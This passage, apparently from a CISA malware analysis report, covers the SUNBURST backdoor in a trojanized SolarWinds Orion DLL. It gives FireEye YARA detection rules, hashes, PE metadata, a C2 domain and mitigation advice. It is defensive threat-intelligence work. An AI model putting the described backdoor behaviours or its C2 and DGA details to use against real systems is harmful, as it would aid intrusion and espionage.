           Description = "This rule is looking for portions of the SUNBURST backdoor that are vital to how it functions. The first signature fnv_xor matches a magic byte xor that the sample performs on process, service, and driver names/paths. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
           MD5_1 = ""
           SHA256_1 = ""
       strings:
           $cmd_regex_encoded = "U4qpjjbQtUzUTdONrTY2q42pVapRgooABYxQuIZmtUoA" wide
           $cmd_regex_plain = { 5C 7B 5B 30 2D 39 61 2D 66 2D 5D 7B 33 36 7D 5C 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 33 32 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 31 36 7D }
           $fake_orion_event_encoded = "U3ItS80rCaksSFWyUvIvyszPU9IBAA==" wide
           $fake_orion_event_plain = { 22 45 76 65 6E 74 54 79 70 65 22 3A 22 4F 72 69 6F 6E 22 2C }
           $fake_orion_eventmanager_encoded = "U3ItS80r8UvMTVWyUgKzfRPzEtNTi5R0AA==" wide
           $fake_orion_eventmanager_plain = { 22 45 76 65 6E 74 4E 61 6D 65 22 3A 22 45 76 65 6E 74 4D 61 6E 61 67 65 72 22 2C }
           $fake_orion_message_encoded = "U/JNLS5OTE9VslKqNqhVAgA=" wide
           $fake_orion_message_plain = { 22 4D 65 73 73 61 67 65 22 3A 22 7B 30 7D 22 }
           $fnv_xor = { 67 19 D8 A7 3B 90 AC 5B }
       condition:
           $fnv_xor and ($cmd_regex_encoded or $cmd_regex_plain) or ( ($fake_orion_event_encoded or $fake_orion_event_plain) and ($fake_orion_eventmanager_encoded or $fake_orion_eventmanager_plain) and ($fake_orion_message_encoded and $fake_orion_message_plain) )
    }
  • rule FireEye_20_00025668_02 : SUNBURST APT backdoor
    {
       meta:
           Author = "FireEye"
           Date = "2020-12-13"
           Last_Modified = "20201213_1917"
           Actor = "n/a"
           Category = "Backdoor"
           Family = "SUNBURST"
           Description = "The SUNBURST backdoor uses a domain generation algorithm (DGA) as part of C2 communications. This rule is looking for each branch of the code that checks for which HTTP method is being used. This is in one large conjunction, and all branches are then tied together via disjunction. The grouping is intentionally designed so that if any part of the DGA is re-used in another sample, this signature should match that re-used portion. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
           MD5_1 = ""
           SHA256_1 = ""
       strings:
           $a = "0y3Kzy8BAA==" wide
           $aa = "S8vPKynWL89PS9OvNqjVrTYEYqNa3fLUpDSgTLVxrR5IzggA" wide
           $ab = "S8vPKynWL89PS9OvNqjVrTYEYqPaauNaPZCYEQA=" wide
           $ac = "C88sSs1JLS4GAA==" wide
           $ad = "C/UEAA==" wide
           $ae = "C89MSU8tKQYA" wide
           $af = "8wvwBQA=" wide
           $ag = "cyzIz8nJBwA=" wide
           $ah = "c87JL03xzc/LLMkvysxLBwA=" wide
           $ai = "88tPSS0GAA==" wide
           $aj = "C8vPKc1NLQYA" wide
           $ak = "88wrSS1KS0xOLQYA" wide
           $al = "c87PLcjPS80rKQYA" wide
           $am = "Ky7PLNAvLUjRBwA=" wide
           $an = "06vIzQEA" wide
           $b = "0y3NyyxLLSpOzIlPTgQA" wide
           $c = "001OBAA=" wide
           $d = "0y0oysxNLKqMT04EAA==" wide
           $e = "0y3JzE0tLknMLQAA" wide
           $f = "003PyU9KzAEA" wide
           $h = "0y1OTS4tSk1OBAA=" wide
           $i = "K8jO1E8uytGvNqitNqytNqrVA/IA" wide
           $j = "c8rPSQEA" wide
           $k = "c8rPSfEsSczJTAYA" wide
           $l = "c60oKUp0ys9JAQA=" wide
           $m = "c60oKUp0ys9J8SxJzMlMBgA=" wide
           $n = "8yxJzMlMBgA=" wide
           $o = "88lMzygBAA==" wide
           $p = "88lMzyjxLEnMyUwGAA==" wide
           $q = "C0pNL81JLAIA" wide
           $r = "C07NzXTKz0kBAA==" wide
           $s = "C07NzXTKz0nxLEnMyUwGAA==" wide
           $t = "yy9IzStOzCsGAA==" wide
           $u = "y8svyQcA" wide
           $v = "SytKTU3LzysBAA==" wide
           $w = "C84vLUpOdc5PSQ0oygcA" wide
           $x = "C84vLUpODU4tykwLKMoHAA==" wide
           $y = "C84vLUpO9UjMC07MKwYA" wide
           $z = "C84vLUpO9UjMC04tykwDAA==" wide
       condition:
           ($a and $b and $c and $d and $e and $f and $h and $i) or ($j and $k and $l and $m and $n and $o and $p and $q and $r and $s and ($aa or $ab)) or ($t and $u and $v and $w and $x and $y and $z and ($aa or $ab)) or ($ac and $ad and $ae and $af and $ag and $ah and ($am or $an)) or ($ai and $aj and $ak and $al and ($am or $an))
    }
ssdeep Matches
94 ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6
PE Metadata
Compile Date 2020-04-21 10:53:33-04:00
Import Hash dae02f32a21e03ce65412f6e56942daa
Company Name SolarWinds Worldwide, LLC.
File Description SolarWinds.Orion.Core.BusinessLayer
Internal Name SolarWinds.Orion.Core.BusinessLayer.dll
Legal Copyright Copyright © 1999-2020 SolarWinds Worldwide, LLC. All Rights Reserved.
Original Filename SolarWinds.Orion.Core.BusinessLayer.dll
Product Name SolarWinds.Orion.Core.BusinessLayer
Product Version 2020.2.5200.12394
PE Sections
MD5 Name Raw Size Entropy
7810cd48d16fb0d3c3a0c855f2d9225a header 512 2.907043
f249efb5d984eb62f325179a721985f3 .text 1018368 5.567580
9aea23ae0750b77218d9a85d4896eb0c .rsrc 1536 3.005835
0db83a842dbb0bb3396691d4238bd216 .reloc 512 0.101910
Description

This file has been identified as a SolarWinds Application module containing a patched in SUNBURST backdoor. This embedded SUNBURST code contains the same functions as "SolarWinds.Orion.Core.BusinessLayer.dll" (32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77), and is signed with the same digital certificate.

Relationship Summary

32519b85c0... Connected_To avsvmcloud.com
32519b85c0... Contained_Within d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600
avsvmcloud.com Connected_From 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77
d0d626deb3... Contains 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77

Conclusion

Please refer to the following resources for additional information and mitigation actions related to this campaign:

1) Alert (AA20-352A): Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations
https://us-cert.cisa.gov/ncas/alerts/aa20-352a

2) Emergency Directive 21-01: Mitigate SolarWinds Orion Code Compromise
https://cyber.dhs.gov/ed/21-01/

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.surveymonkey.com/r/G8STDRY

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

Revisions

February 8, 2021: Initial Version
April 15, 2021: Updated with Attribution Statement

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